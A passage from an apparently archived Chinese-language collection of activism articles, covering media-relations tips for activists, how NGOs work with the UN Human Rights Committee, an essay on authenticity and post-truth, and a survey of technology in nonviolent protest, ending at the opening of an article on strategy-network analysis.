- 在您与记者的所有互动中，不要因为没有得到您想要的回复而烦恼，也不要沮丧地发送更多邮件。保持积极的态度并明智地发送电子邮件非常重要，这样才有希望遇到真正感兴趣的记者。

当媒体主动与您联系时该怎么办

- 你只需要记住三点：你想做、排练你的回复、尽可能补充完整。一定要尽可能将最关键的内容表达出来，要简短并准确；想想你真正不想回答的问题是什么，并排练你对这些问题的反应。
- 总是假设你的所说的话都会被记录，你说的所有内容都将被引用。如果这会让你说话缓慢而且审慎，那就再好不过了—— 这会让记者有时间做笔记并得到澄清。
- 如果有人要求进行电视或电台采访，请务必澄清是否有现场直播或录音，以及记者或采访者对您的期望是什么。如果是现场采访，请随时询问有用的提示，提前询问问题都是什么。
- 对于电视或面对面的采访，在穿着方面最好能让你感到自信和看起来专业。不一定是西装礼服，除非这能让你感到放松。
- 报纸/网络记者经常会要求记录采访。一般来说，这是确保记者准确报道的好方法。但是，如果记者没有先提出这个问题，你应该问一下它是否会被记录下来。在录制采访时，请注意不要说出任何不想被公开播放的内容。

如上所述，永远不要让记者等待和猜测。始终有条理地回电话，并及时清楚地回答任何问题。如果你不这样做，他们很可能永远不会再浪费时间。

报道出版后应该怎么做？

- 如果你喜欢这篇报道，或者只是感觉不那么糟糕—— 请发送一封跟进感谢的电子邮件。
- 稍后跟进您认为可能对记者感兴趣的任何新发展。但是不要过头，否则你会发现你很快就会被忽视。因为记者们经常太过注重时效性和新奇感。

- 如果您不喜欢这个报道中出现的某些元素，您可以在感谢信中礼貌地澄清。例如，“那样也许是 ……的好方法”，等等。如果你高兴地指出一些问题，那么它的更新速度肯定会快过你愤怒地要求修正。
- 如果存在明确的事实错误（例如，姓名，日期，数字，法律，错误引用等等），则仅要求更正即可。

礼貌地说出来就不会破坏未来的报道，实际上可能会培养更好的信任关系。总之基本上，你不应该就某些意见性的问题展开争论。

- 一旦你开始与记者讨论他们报道的准确性和能力，你就很容易毁掉这段关系。问问自己：这一变化值得破坏未来的所有报道合作吗？请记住，您无法控制媒体报道。但是，通过媒体报道您可以获得的舆论收益肯定会让您感觉值得。

获取媒体的支持并不容易，您应该为取得的任何进展感到高兴。如果您没有从最初的几次尝试中获得任何报道，请根据上述方法梳理一下，然后再试一次！

Media Tips for Activist Groups: if you don’t interact with journalists the right way, you could waste a lot of time or worse, do more harm than good.

原文

（50）非政府组织如何与联合国人权委员会合作以改善国家的人权状况？ - iyouport

行动技巧、战术和原理

（2018年7月10日存档）介绍规则，并推荐一些技巧

您的国家的政府是否履行了保护公民权利和政治权利的义务？联合国拥有一批具有这一使命的独立专家，旨在加强民间社会更多参与到自由表达倡导的全球空间中来。您可以通过多种方式和他们合作，将其纳入您的维权工作中。以下是 IFEX 的5分钟指南，您将学会应该如何寻求帮助。

人权委员会是干什么的？

这完全是关于“公民权利和政治权利国际公约”（ICCPR）。

ICCPR 是一项于 1973 年生效的条约，人权委员会由18名独立专家组成，负责监督其实施情况。虽然候选人是由国家提名的，并且由 ICCPR 的签署国选举产生，但他们以个人身份提供服务，而不是作为其政府的代表。他们的任期是四年。

只有作为“公民权利和政治权利国际公约”签署国的国家承担履行条约所承认的权利的法律义务，并且只有它们受到人权事务委员会的监督。您可以在此处查看完整列表。请记住，ICCPR的规定具有法律约束力。

“公民权利和政治权利国际公约”第19条和第20条扩大了 1948 年“世界人权宣言”第19条所载的言论自由权的定义，并包括有关可接受的限制的具体措辞。

作为“公民权利和政治权利国际公约”签署国的国家应定期向人权事务委员会提交报告，通常每四至六年提交一次。第一份报告应在“公民权利和政治权利国际公约”对该国生效一年后提交。它应该包括国家如何遵守整个 ICCPR 的概述。随后的报告较短，往往侧重于回应人权事务委员会专家的意见。

人权事务委员会工作的**A-B-C-D**

该小组每年举行三次会议，为期三周，通常在3月，7月和10月在日内瓦举行。

它有四个主要功能，民间社会组织可以参与—或至少从中受益—大部分都是如此。

- A.它监测一个国家政治和公民权利的进展情况，并向各国提出建议：报告周期
- B.它针对被指侵犯“公民权利和政治权利国际公约”的个人投诉采取行动
- C.就“公民权利和政治权利国际公约”的具体条款发表专家意见：一般性意见
- D.审议国家间的投诉

以下是非政府组织在这四个职能中的作用：

A—签署国同意的过程有几个阶段，每个阶段都有自己的机会。

第1步—通过问题清单（LOI）或报告前问题清单（LOIPR）。在其三届年会的每一届会议期间，人权事务委员会在即将召开的会议之前（通常提前一年）通过每个国家的议题清单。

• 非政府组织可以通过提前向会议提交问题清单来参与这一过程。之后，非政府组织可以就人权事务委员会决定的问题清单提供意见。

第2步—各国报告和非政府组织的“替代报告”。这是非政府组织参与的最重要步骤。在三届年会期间，人权事务委员会审查各国关于其遵守“公民权利和政治权利国际公约”的报告，一般侧重于先前审查和“公约”清单所要求的信息。鼓励各国与包括民间社会团体在内的其他行动者合作编写报告—但这种情况可能并非总是如此。在某些情况下，一个国家可能根本没有提供任何报告。

• 非政府组织、联合国实体和国家人权机构可以提供自己的报告，称为“替代报告”。非政府组织—无论是个人还是作为一个群体—都可以就一个国家的公民权利和政治权利提交书面文稿，或关于公约的具体条款，例如言论自由权。提交截止日期在联合国人权事务高级专员网站上公布，通常在会议开始前约一个月审查国家。非政府组织的书面报告不应超过10,000字，应以英文、法文或西班牙文撰写。英语是最推荐的语言，因为这些文件没有翻译。

第3步—国家审查。在其三届年会的每一届会议期间，人权事务委员会的18位专家根据他们收到的所有报告，评估五至七个国家遵守“公民权利和政治权利国际公约”的情况。每个国家/地区的审核持续一天。国家代表为专家的提问提供答案。在某些情况下，会议期间会提供答案;在其他情况下，国家在正式会议之后以书面形式提交答复。

• 非政府组织可以参加并观察审核过程。非政府组织在本届会议期间不能作口头发言。

• 不过，非政府组织可以在正式会议上向人权事务委员会的专家提供口头陈述。这些通常安排在会议开始前的一天，并且非常有效。建议您准备一份引人注目的陈述，讲述一个故事，最好由受到侵权行为直接影响的人提供，并且需要包括具体建议以及在审核期间向专家提出的问题。如需注册，请联系 info@ccprcentre.org 和 ccpr@ohchr.org。

• 非政府组织还可以相互协调（在许多情况下，与设在日内瓦的公民权利和政治权利中心合作）与专家组织就特定国家举行非正式会议（无需口译）。这通常发生在国家审查的前一天或上午。

• 非政府组织也可以尝试在预定会议之外采取非正式途径，您可以在这里了解专家。

第4步—报告：结论性意见。在为期三周的国家审查会议之后，人权事务委员会发布一份名为“结论性意见”的报告。这通常在会议结束后一周左右发布。报告中提出每个国家在实施“公民权利和政治权利国际公约”方面取得的进展的意见，并向它们提出具体建议。

• 然后，非政府组织可以利用这份报告来提高认识、倡导、监督并向各国政府施加压力，使其尊重公民权利和政治权利。

• 参与此过程的非政府组织可根据其关注的问题和建议是否包含在报告中来评估其自身的成功。

第5步—跟进。在人权事务委员会审查国家一年后，要求国家提交一份关于结论性意见中所列建议的报告，这些建议被认为是紧急的。

• 允许非政府组织提供关于国家在这些紧急建议方面取得的进展的报告，因此人权事务委员会可以对已经采取的行动有另一个渠道的了解。否则，他们可以使用国家报告来监督他们对人权事务委员会提出的建议的承诺。

您可以在此处查看要审核的国家/地区列表和提交截止日期。

B—请注意，只有当有关国家也是“第一任择议定书”的缔约国时，才有可能提出个人申诉。

非政府组织可以支持作为“公民权利和政治权利国际公约”第一任择议定书缔约国的个人直接提交来文，如果他或她在条约下的权利受到国家侵犯的话。以下需注意：

• 必须由权利受到侵犯或经个人书面同意的个人提交。沟通不能是匿名的。

• 来文必须表明国内补救办法已经用尽（或证明所有措施都已经尝试过）

• 另一项国际调查或解决程序不能考虑“同一事项”（同一作者，同一事实和同一实质权利）。（例外情况是已将此事项提交人权理事会投诉程序，特别报告员或人权理事会工作组）。

• 必须发送至以下地址：

Petitions and Inquiries Section

Office of the High Commissioner for Human Rights

United Nations Office at Geneva

1211 Geneva 10, Switzerland

petitions@ohchr.org

• 个人可以使用特殊格式提交投诉，可以在此处下载。您也可以在此处查看指南。在这里看到人权事务委员会的判例。

一旦被接受，人权事务委员会将在其中一届会议期间审议该申诉。他们的审议工作不公开，但其最终决定（称为“意见”）和后续行动是公开的，具有约束力。在此过程中，可允许当事方向人权事务委员会作出口头陈述（此处为准则）。

C—人权事务委员会的一个重要作用是帮助解释“公民权利和政治权利国际公约”的条款。所谓的“一般性意见”为其实施提供了指导。

2011年，CCPR 发表了关于言论自由权的第34号一般性意见。这种解释对于支持您的国家的 NGO 宣传工作非常有用！

本文加强了对 ICCPR 第19条的解释; 它澄清了对言论自由权的合法限制的界限，着眼于各国有义务不仅保护权利，而且应积极防止任何侵犯权利行为并促进权利的享受，包括媒体自由。注意，它还考虑了互联网的影响，并且不仅承认传统记者的权利，而且还承认博主、和“从事自我出版形式的其他人”的权利。

• 非政府组织也可以参与这一进程。在拟定一般性意见时，呼吁民间社会分享投入。

D—缔约国可提交来文，指称另一缔约国未履行“公民权利和政治权利国际公约”规定的义务。但是，到目前为止，尚未使用此工具。在这个过程中，非政府组织没有任何作用。

最后一句话：战略提示和有用资源

IFEX 与人权委员会合作的六大秘诀

1、时间就是一切！您可以利用与人权委员会有关的活动，例如出版问题清单（LOI），审查会议，结论性意见的传播和后续报告，通过组织活动，国家和地方一级的宣传行动和宣传战略

。审查会议特别擅长吸引媒体关注。

2.联合的力量。考虑与您所在国家的其他非政府组织合作。这可以增强你的声音—不仅在日内瓦，而且在你自己的国家，加强合作。

3.了解你需要的东西。在编写替代报告时，请审查国家以前的报告，结论性意见和后续建议，以及以前的问题清单。您可以在此数据库中找到所有这些信息。

4. 会话只是一个开始。使用结论性观察作为宣传和提高认识的起点。例如：密切监测国家采取的措施，以解决其标志性问题; 与国家就这些问题进行对话; 围绕他们组织会议，研讨会和专题讨论会。

5. 超越人权委员会。您的长期战略可以包括监督人权遵守情况的其他一些联合国机制，例如普遍定期审议（UPR）和特别程序以及区域机制。一旦你学会了如何与一个人交往，你就可以更容易地与他人交往。此外，为一个机构收集的信息可以提供给其他机构。

6. 不要忘记在报告中加入性别层面比较。您所在国家的政治和公民权利受到侵犯的事实是否会以同样的方式影响女性或 LGBTQI 个体？所有人的解决方案和建议是否相同？

更多资源和信息：

• **“Working with the United Nations Human Rights Programme: A Handbook for Civil Society. Chapter IV”** (2008). OHCHR • **“UN Human Rights Committee. Participation in the reporting process. Guidelines for NGOs”**. By CCPR Centre. 2015. • **“General comment №34 on the right to freedom of expression (2011)”**. Human Rights Committee. • **“The relationship of the Human Rights Committee with NGOs”**. CCPR/C/104/3. • **OHCHR: Universal human rights database** • **OHCHR: Jurisprudence by the UN treaty bodies database**. • **Guidelines for submitting individual complaints**

Note that the Human Rights Committee is one of ten existing UN human rights treaty bodies, and only monitors the ICCPR. Other expert committees include the **Committee on Economic, Social and Cultural Rights**, the **Committee against Torture**, the **Committee on Enforced Disappearances**and the **Committee on the Elimination of Discrimination against Women**. You can check all the existing treaty bodies **here**. You can also watch this **video** to learn more about treaty bodies.

原文

（53）走出部落 - iyouport

社会反抗和思考行动技巧、战术和原理

（2019年5月24日存档）将一些不怎么“志同道合”的人组织在一起形成一个社区的结果是什么？有可能很有趣，并且很有意义。但为什么很少有人会这样做呢？究竟什么是”事实”真的可以统一吗？

我们的文化中发生了一些非常奇怪的事。两个看似矛盾的趋势正在并行发生，似乎还没有多少人注意到。

我们生活在一个追求真实性的时代，痴迷于自己的衷心和诚实；我们告诉孩子保持着追求自己梦想的激情，因为大家都认为迫使某人与他们的真实自我发生冲突是一种压迫感。整个社会都在拼命寻求诚意，不论是对周边的彼此还是对政治领导人。我们重视浪漫的爱情，因为它源于自发的，不受约束的感觉。它是真实的，因为它是无中介的。真实性是新的文化货币。

然而，尽管对真实性有这种痴迷，但我们正在失去对真相的控制。我们生活在后现代的时代，其中旧的元叙事似乎已经变得狭隘和令人难以置信。对公共机构的批评不断增加，而社会信任水平却在不断下降。

阴谋论比比皆是，和其他形式的医学、学校教育和新闻学一样—甚至有时在学术上被称为 other ways of knowing。这涉及所有积累知识的领域。科学与宗教的基础都受到了攻击。怀疑和认知的不确定性困扰着人们提出的每一个问题。所有这些都是我们目前所处的后真相时代的特征。

因此，对真诚和真实性的关注与所有形式的集体权威的腐蚀化共存—无论是宗教的还是科学的。那么怎么才能理解这个问题？

这些趋势实际上是同一枚硬币的两面，而知识社会学至少可以解释为什么。

知识社会学关注的问题是：知识的社会条件是什么？它的前提是我们在很大程度上由于所处的社会环境而导致我们持有某些信念，并研究某些环境如何使我们或多或少地相信某些事。知识社会学并没有对真理本身提出主张。相反，它关注的是我们可能称之为知识的主张。

这里有一个例子：如果你是在一个原教旨主义的基督教社区出生和长大的，从未接触过任何有关宗教或科学真理的竞争性观念，那么知识社会学就会认为你不太可能怀疑你的原教旨主义父母的教义。因为原教旨主义的基督教环境具有强大的合理性结构。

这意味着，如果您在社交环境中遇到的一切—您的家人，朋友，邻居，学校课程，假期等等—都在加强并支持您所信奉的知识框架（在这种情况下是基督教原教旨主义），那么你就没有理由质疑它的合理性。为了简单理解这点可以推荐一部小说《幸存者》by Chuck Palahniuk

无疑，我们生活的社会环境可以强化或挑战我们持有的信念，使我们或多或少地怀疑它们（这就是为什么基督教原教旨主义者如此担心公立学校教授的内容，也是为什么政治宣传必备的工具是封闭）。

知识社会学并不假设所有对知识的要求都是正确的。仅仅因为有人绝对肯定地认为，进化论是错误的，并不能证明这一点。相反，知识社会学家有兴趣了解允许这样一个人存在的社会过程。换句话说，知识社会学区分了真实存在的真理和人们如何形成对真理的信念。这种区别对于理解当代文化至关重要。

知识社会学本身的社会学—在工业革命之后出现，作为一种解决向现代性转变所带来的后果的手段。人类学家和社会学家将前现代社会理论化为特征，其中包括强有力的合理性结构。生活在相对同质的社会中，长途旅行既罕见又困难的人们，不太可能遇到可以从根本上扰乱他们既有观念的人或想法。

正如 Berger 在他的经典著作“无家可归的心灵”和“异端的迫切”中所写道的，传统或前现代人过着命定的生活，在这种生活中，由于社会条件（而不是认知缺陷）人们更难以质疑被认可的日常生活。然而随着技术的发展、流动性的增加和多元化的发展，现代性的转变已经出现。根据 Berger 的说法，现代化进程削弱了合理性结构，因为它使我们每个人都暴露于多种道德、政治和宗教的选择之中。

如果我的邻居崇拜的神与我不同，我更有可能质疑我自己；如果我爱上了一个与我不同政治意识形态的人，这可能会鼓励我重新思考我自

己的承诺；如果我看到其他人兴旺发达，他们以与我的信念完全不一致的方式组织自己的生活，我可能会开始怀疑他们知道我所不知道的事。这些都是现代化的结果。

当然，Berger 在20世纪70年代后期写下的这些书，可能无法预见全球化和互联网的发明将如何加剧现代化进程。全球化增加了全球人民和文化产品的流动，而互联网提高了我们对人类生活的广泛多样性的认识，这两者都严重削弱了可信性结构。因此，两者都侵蚀了外部的权威来源，使得确定性更加难以捉摸。

然而，个人需要一定程度的认识自信心才能过上自己的生活。我们不能一直犹豫不决。因此，Berger 认为，随着现代化的进展，个人将自然地寻求认识论权威的新来源。

Berger 认为，在可信性结构薄弱的环境中，个人更可能会确定性地进入。也就是说，他们会将自己的主张归功于个人经验。我可能不确定我在论文中看到的内容，或者我的牧师告诉我的东西，或者我在网上看到的视频的可靠性，但是我可以肯定的是我自己的经历。我知道我经历过什么和我的感受，没有人可以拿走这种经验。Berger 因此认为“现代化和主观化是同源过程”。

由于直到最近组织我们社会的意义和真理的共同框架变得严重可疑，个人开始寻求其他地方的认识论权威。反过来，个人经验成为了真理的全部和最终结果。

因此，我们今天如此专注于真实性并不奇怪。如果个人经验是真理的基础，那么一个人必须忠于自我和自己的经历，否则就是谎言。我可能会在实质上不同意你，但只要那确实就是你自己的经历，那么我能说的就很少了。

当然，虽然这种逻辑可能反映了今天的文化常识（考虑到我们的社会条件）但这并不能使其为真。在某些情况下，我们的主观感受可能是行动的有用指南，但它们常常使我们误入歧途。无法保证我的感受和个人经历会与经验现实保持一致。我可能对气候变化的本质有一定的了解，但科学的同行评审研究更有可能确定究竟发生了什么。

另外，仅仅因为一个人是真实的并不意味着他们是对的。在这个世界上有很多人仍然忠于自己，但仍然是愚蠢的和自私的。最后，如果一个人的内心感受是正当的，真诚只是一种美德—如果你本身是一个混蛋那么心里话说出来也是错的。

所以这就是我们的困境：后现代性的特点是弱合理性的结构，使我们共同的意义和真理—宗教和科学性质—的框架变得越来越容易被怀疑。这鼓励我们进入认识确定性，但这只会增加人与人之间的距离，从而使得没有可以为我们的主观感受提供急需纠正的共享框架。

如何克服这个问题？除非我们回拨时钟（这看起来非常不可能，而且由于许多原因—非常不合适），因此其中大部分似乎有些不可避免。因此，当下比以往任何时候都更需要的是一种协调性的、集体的尝试，以复苏那些在晚期现代性中充当反对主观主义的堡垒的机构和传统。

换句话说，虽然我们可能永远无法达到前现代社会中人们所经历的确定程度（这不一定是坏事），但我们当然可以确保某些知识主张比其他主张更重要。

这主要应该是大学的工作。学术机构需要站在识别和制裁良好知识、区分善恶与真相和阴谋之间的最前沿。媒体和记者也是如此。方法论的严谨性和共同的评估标准是必须建立强大的现代合理性结构的基础。

因此，那些寻求传播谎言和谣言的人应该受到谴责，那些在没有证据的情况下推进知识主张的人应该受到质疑。

但公共机构只能做这些了。作为个体，我们可以根据现有证据质疑自己的主观感受。当然，个人经历可以成为有用的知识来源。但我们需要学会区分在个人经验中具有权威性的案例与不具有权威性质的案例。

晚期现代性的条件是我们自然会倾向于依靠我们的主观感受来回答遇到的问题。因此，必须愿意寻求更可靠的知识来源—科学的和道德的来源—来评估自己的冲动和直觉。

这就是为什么与他人（特别是与我们不同的人）的对话如此重要。在追求真实的时代，与我们具有相同主观感受的人可能会判断什么是真实的—因此什么是正确的—就像我们自己一样。这就是为什么我们的社会充满了部落主义的原因。最终，对我们自己来说真实感可以让我们感觉良好，但是，它最终可能不会为我们或社会的最佳利益服务。

真实性不是真理的合适替代品。这就是为什么人们需要生活在自己之外的框架中。

原文

（57）技术如何塑造21世纪的创造性抗议？ - iyouport

社会反抗和思考行动技巧、战术和原理

（2020年4月17日存档）不要害怕技术，要利用它成就自己的目标。行动主义者正在使用增强的可访问性和特定技术的进步来推动当前全球异议人士的激增。您想加入进来吗？

进入21世纪的第三个十年，人们会期待更多各种各样的创新式行动主义对吗？

即使是 Gene Sharp（非暴力战术分类的鼻祖，早在1972年就发布了198种方法的清单）也会完全期望21世纪将是我们超越传统非暴力行动并完善其使用的时代。

但是，可以肯定的是目前为止还啥都没实现。从许多角度来看，这个世界似乎已根深蒂固地陷入了反乌托邦。

- 《至少30亿社交媒体用户都在受到其政府的监视》

公民社会的空间加速被封闭、许多国家专制主义在暴涨，环境、气候和人道主义危机不断加剧 …… 这一切似乎都令人望而生畏。

- 《铁幕之下：全球反抗者如何对战监视者？》

尽管如此，富有创造力的激进主义者仍在继续做出回应，因为抵抗运动 —— 尤其是在越来越多狂暴于镇压的政权中发起的抵抗运动 —— 不仅是必要的，而且，必须依靠创造力和创新才能真正存在。

实际上，我们可能还没能完善使用非暴力行动来增强公民的力量，但是我们已经超越了 Gene Sharp 的198种方法。

最近一项新研究指出了300多种非暴力抵抗方法，代表了很多创新，特别是在技术和数字领域。

在过去的十年中，这些技术中的一部分已经促成了参加激进运动的人数创纪录增长。

在美国，在特朗普时代对社会服务和人权的攻击之后，那些有动机捍卫、保护和建设更美好世界的持不同政见者加入了抗议活动。

纵观整个历史，先锋队通常都由青年领导 —— 现在，涌现出更多的年轻人，引领着其他人正视这个时代的关键问题：气候混乱、基于性别的暴力、移民、种族正义、债务陷阱、枪支控制 ……

发挥最大力量的群众动员来自非常特定的边缘化社区。

美国有史以来最大规模的抗议活动是2017年总统就职典礼的第二天，当时有3–4百万人参加了 women's marches 的全国游行。

- 《新的压制和新的反抗：社会运动的智慧如何跟上技术型暴政的进化？》

在美国之外，2010–2015年阿拉伯之春是在六个国家进行大规模动员的时期，这些公民试图推翻政权和维护民间社会。

- 《抗议活动正在阿拉伯世界卷土重来，但是这次…》

同时，去年1月，有500万妇女和盟友在印度喀拉拉邦地区形成了386英里长的隔离墙，以支持性别平等。

- 《386 英里的人肉长城—— 美国媒体为什么视而不见？》

必须说，这些抗议数量不断增加的核心原因是特定技术的可访问性和先进性的提高，即 帮助活动家更轻松、更便宜地使用大众传播工具的技术。

它支持面更大、更加分散化，以及一套完整的匿名策略（因此风险较小）。

- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》
- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

当然，⚠压迫性政权和其他邪恶力量也同样在利用这些技术，这意味着反抗者必须保持领先地位。

因此，本文将探讨一些主要的技术进步，这些技术可以帮助抗议者的行动变得更加有效，从而可以将这些资源用于追求公民希望拥有的世界。

数字化和大众传播

「图」

手机和其他数字技术（包括视频、摄影和直播能力）的可负担性、容量和多功能性的提高，已成为DIY媒体和社交媒体网络（包括数字meme）背后的推动力。

Facebook Live 和 ACLU 应用程序 Mobile Justice 不仅使活动家能够实时地从听证会或示威活动中进行报告，而且还可以记录执法行为发生的情况 —— 警察有身体相机，公民也有自己的武器。

- 为什么身体相机不靠谱《身体相机适得其反吗？中国正在开始流行这种东西》
- 《上帝之眼：一个没有秘密的世界意味着什么？》
- 行动者如何在现场获取证据《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 如何保护证据和人身安全《当你手握真相时，必需的基本防护方案》

同时，meme 已经成为从 Facebook 到 Twitter 的社交媒体无所不在的视觉传达形式。在其中一些平台中，“Black Twitter” 之类的飞地正如雨后春笋般涌现，它们使用标签以连接全球特定社区的各个部分。

- 《为什么中国社会难以组织起来》

从 #NotMyPresident 到 #BlackGirlMagic 到 #MeToo 到 #FeesMustFall，主题标签现在已经成为互联网文化景观的一个特征。

数字通信的数量是非常惊人：例如，MoveOn 表示，其志愿者仅在2018年向潜在的美国选民发送了3500万对等文本消息。

就在几年前，直播能力还需要昂贵的设备和传输合同。而现在，各种智能手机、宽带、以及蜂窝网络的日益普及，已经使世界各地都可以访问直播和实时流。

技术已经民主化了谁可以报道新闻、谁可以观看谁的报道，从而加快了新闻周期；当然，有时甚至对我们不利，即使同时提供了激进主义者动员的几乎瞬时机会。然而去年网络中立原则惊人地被动摇事件已经迫使抗议者不得不捍卫于此。

在2016年美国大选后，激进主义者大量使用社交媒体来传达抵抗信息也就不足为奇了。

当然，社交媒体的增长引发了关于这种交流形式有效性的激烈讨论。

- 比如这个案例《讨论的终结》

不可否认，在过去的二十年中，使用社交媒体的人数呈指数级增长 —— 连同签署请愿书和向其当选官员发送电子邮件的人数 —— 但问题仍然存在：这种虚拟行动主义究竟能产生什么样的影响？

- 这里是一个反思《在社交媒体上"抗议"有什么问题？》

早在2011年，Avaaz 报告说，在193个国家/地区中，大约有1000万人参加了"行动"（即 Avaaz 品牌的电子邮件、电话、募捐活动、集会等）。这些行为是否可以代替个人参与？它们是否减少了本可以以更有效的方式离线使用的时间，特别是在需要直接干预的问题上？

例如，美国去年的联邦停摆，是在机场工作人员强迫机场关闭时结束的，而不是在社交媒体的愤怒达到特定高度时结束的。

在世界各地，从塔希尔（Tahir）到迈丹广场（Maidan Square），大多数人都认为 Facebook 革命只是一个神话，尽管他承认社交媒体可以而且已经对大规模动员以激发人们力量的目的产生了影响。

数字化投票

「图」

网上约会：好的。当然它不是新事物，但它已成为一种动员人们参加民意测验的新方法 —— 无论是 Tinder、Grindr 还是 OKCupid。

有些网站对这种使用方法不满意，甚至给它起了个外号叫"Tinderbanking"，而两名英国妇女想出了办法，让人们把自己的个人资料给聊天机器人来进行对话，以鼓励约会者跟上政治进程，而不仅仅是约会。

这在英国尤为重要，因为年轻的选民多数没有登记在册，因此无法投票。

同时，在美国，甚至还有一个名为 VoteWithMe 的应用程序。它可以与您的手机联系人配合使用，并且可以告诉您某人的投票历史以及他们是否处于 *可拉拢状态*。

这样做是为了增加投票的人数 —— 因为研究表明，周边人的提醒要比社会运动口号更有效，可更明显地促进某人的参与动力。

甚至普通的电话会议也已演变成一个巨大的平台，尤其是视频会议的进步使它的使用比十年前更加容易。

该技术不仅支持组织工作，而且还可以进行前所未有的在线培训课程和国际联系合作。

某些行动/社会运动的协调已吸引了60,000多名参与者。实际上，仅2018年就有成千上万的 MoveOn 成员加入了在线培训电话会议。

数字制图

「图」

新计算机技术的另一种广泛集成促进了数据可视化的可访问性。可视化调查报告和动员策略已经深受欢迎。

- 案例演示《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 案例演示《「可视化信息战」 第2部分：社交媒体战场、人工政治和逮捕》
- 案例演示《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》

富有创造力的激进主义者已通过多种方式使用映射来帮助 “令隐形可见”策略 —— 这通常是激进主义者在复杂的、隐藏性的、或边缘问题上面临的首要挑战之一。

- 什么是”令隐形可见”策略，回顾我们推荐过的技巧《简单地压倒性—— 用行动说话：鞋子金字塔》

再比如，可以通过交互式地图上的地理区域预测和显示气候变化的许多方面，无论是热指数、海平面上升、火灾还是干旱风险。

致力于土著和原住民权利的激进主义者经常发现，目前的居民对自己生活的地方知之甚少或一无所知。于是公民社会就开发了相应的数字资源：想知道您所居住的土地的土著历史吗？在此应用程序中输入您的邮政编码，即可找到答案。

这一创造力几乎是无穷的。*Native Land Digital map showing the indigenous land that constitutes today's New York metropolitan area.*

无人机

「图」

当然，高速飞行的遥控技术已经存在一段时间了，但是随着大规模生产的推进又出现了各种小型、廉价、因此易于使用的无人机，这为普通民众打开了一个航空抗议和文献记录的新世界。

包括对难以接近的保护区中的偷猎者和商业装备的监视；也包括对大规模抗议的追踪调查。

无人机也被用来将堕胎药送入禁止其进入的国家，而且可以记录那些难以实地调查的地区发生的侵犯人权行为。

- 《无人机记录的新疆视频》

绿色和平组织采取的行动策略是直播将无人机撞到了核电站的封闭圆顶上，以暴露其脆弱性。因此成为经典。

那是那句话，不要忘了你的对手也在使用同样的技术。

- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《如何防止被无人机监控？（热成像监控的抵制方法）》
- 《空中监视如何追踪抗议者？》
- 《新型攻击形式：骇客如何利用无人机接管你家电视》

众筹

「图」

创新和技术进步使在现实中只能缓慢推进的众筹变得更加快速，以解决看似棘手的经济正义问题。

从理论上讲，“希腊救助基金” 运动本可以筹集足够的资金来帮助希腊避免紧缩政策，即使它确实暴露了不公正的制度。另一方面，通过在线众筹以一美分的价格购买债务，然后免除该债务的行动，已免除了近3200万美元的医疗债务。

国家救助计划还通过向黑人母亲和受大规模监禁影响的其他人进行广泛捐赠来提供直接的救济。

投影

「图」

在过去的几年中，这项技术发生了巨大的变化，以至于几乎是一场新的比赛。投影仪不仅变得更加强大，高效和小巧，而且价格也越来越便宜。

制图程序也得到了改进，几乎任何艺术家都可以使用自己的计算机来进行操作。

不管是照亮某件事以揭露错误的象征意义、还是映射其短暂的本质（一种似乎是无处不在又瞬间消失的陈述），现在都有了一种联系。

2012年，埃及活动家把军事镇压的视频投射到了著名的建筑物上；在2018年，美国活动家将被杀害的新闻记者 Jamal Kashoggi 的图像投影到了 Newseum 的一部分上，其中引用了第一修正案的内容。*A projection of Saudi journalist Jamal Kashoggi on the Newseum in Washington, D.C. (Twitter/@bellvisuals)*

政府的心理操纵无处不在，他们有这个财力和精力实现更全面和深入的入侵；《如何帮助更多人从 Matrix 中醒来？》这个问题是否能有效解决将决定活动家团体是否能获得足够的支持。

如果不提及2015年在西班牙举行的全球首次全息抗议游行，就无法完成对投影技术的更新。

公开抗议被认为是 “非法” 的超现实威胁驱使 No Somos Delito（“我们不是犯罪”）组织中的艺术家积极人士以同样超现实的方式进行反击。

人们认为，关于如何在行动主义中使用技术的问题 —— 这场演习是一个巨大的飞跃。

充气物

「图」

充气设备很容易给人们留下深刻的印象。在下面看到我们曾经的策略推荐：

- 《让你的对手陷入愚蠢滑稽：充气"武力"和反叛小丑军》

这已经无需更多解释。去年的 "Baby Trump" 和 "ChickenHawk Trump" 已经将这一策略提升到了新的高度。

通过抵抗实现疗愈

「图」

除了数字技术和技巧的创新之外，"Movement for Black Lives" 运动（M4BL）和#BlackLivesMatter 的组织者最重要的贡献之一就是为广大的抗议者群体提供了榜样，即对康复和欢乐的重视。

整体上这不是一种新方法，而是对创伤意识、自我关爱和由黑人反抗传统的未来的重新关注（不久前的免费学校早餐计划是源自经典的 Black Panther 社交计划）。

强调恢复正义和接受 M4BL 中的积极性是由于需要对抗系统性的种族主义压迫，同时要提高社会边缘人的生活安全和弹性。

当前强调将疗愈的意识和人道主义融入激进运动中，是对社会正义运动的一份馈赠 —— 这是变革性工作的根本基础。

正如我们曾经在 "行动策略" 系列中强调过的：不要爱上你的战术——不要因为成功一次就使其为崇拜的模版。因为，很多情况下你只能成功一次。

只有创新能力才是行动生命力的源泉。

希望多年后当人们回顾21世纪初的激进主义时，将可以看到上述强调的创造性和文化方面仍然是越来越有效的以人为主导的运动基石。

成功的运动不仅会彼此分享战略思想，而且，需要分享越来越多的参与者的创造力、创新和战术升级技巧，而这正是实现我们所追求的更健康、更公平的世界所依赖的根本。

加油。〇

原文

（58）“战略网”：鲜为人知的工具 — 可视化抗议运动能否成功以及为什么失败，包括六四 - iyouport

护盾（AS）社会反抗和思考行动技巧、战术和原理

（ 2020年6月3日存档）30年前的天安门为什么失败？一张图也许能说明问题 ……

有关公民抵抗的教育工作中，通常会使用各种不同的冲突分析工具向听众和参与者介绍进行抗议运动的战略思想和计划。

在线课程和现场培训中提供的最常用工具包括： Spectrum of Allies; SWOT analysis; Pillars of Support; SMART objectives；用力场分析工作表进行力场分析；以及 MidWest Academy Strategy Chart。

战略家还可以参考大量在线的和印刷的行动指南，以获取更多其他冲突分析工具和方法。

- 《引发变革：抗议运动如何传递灵感》

这篇文章介绍一种工具，用以研究抗议运动的漏洞和弹性。该工具在民间抗议领域尚未得到充分使用，但是，它可以提供给抗议运动参与者和活动分析人员充分的洞察力 —— 帮助改善战略以赢得成功。

☞与有效领导的抗议运动相关的各种属性都是什么？

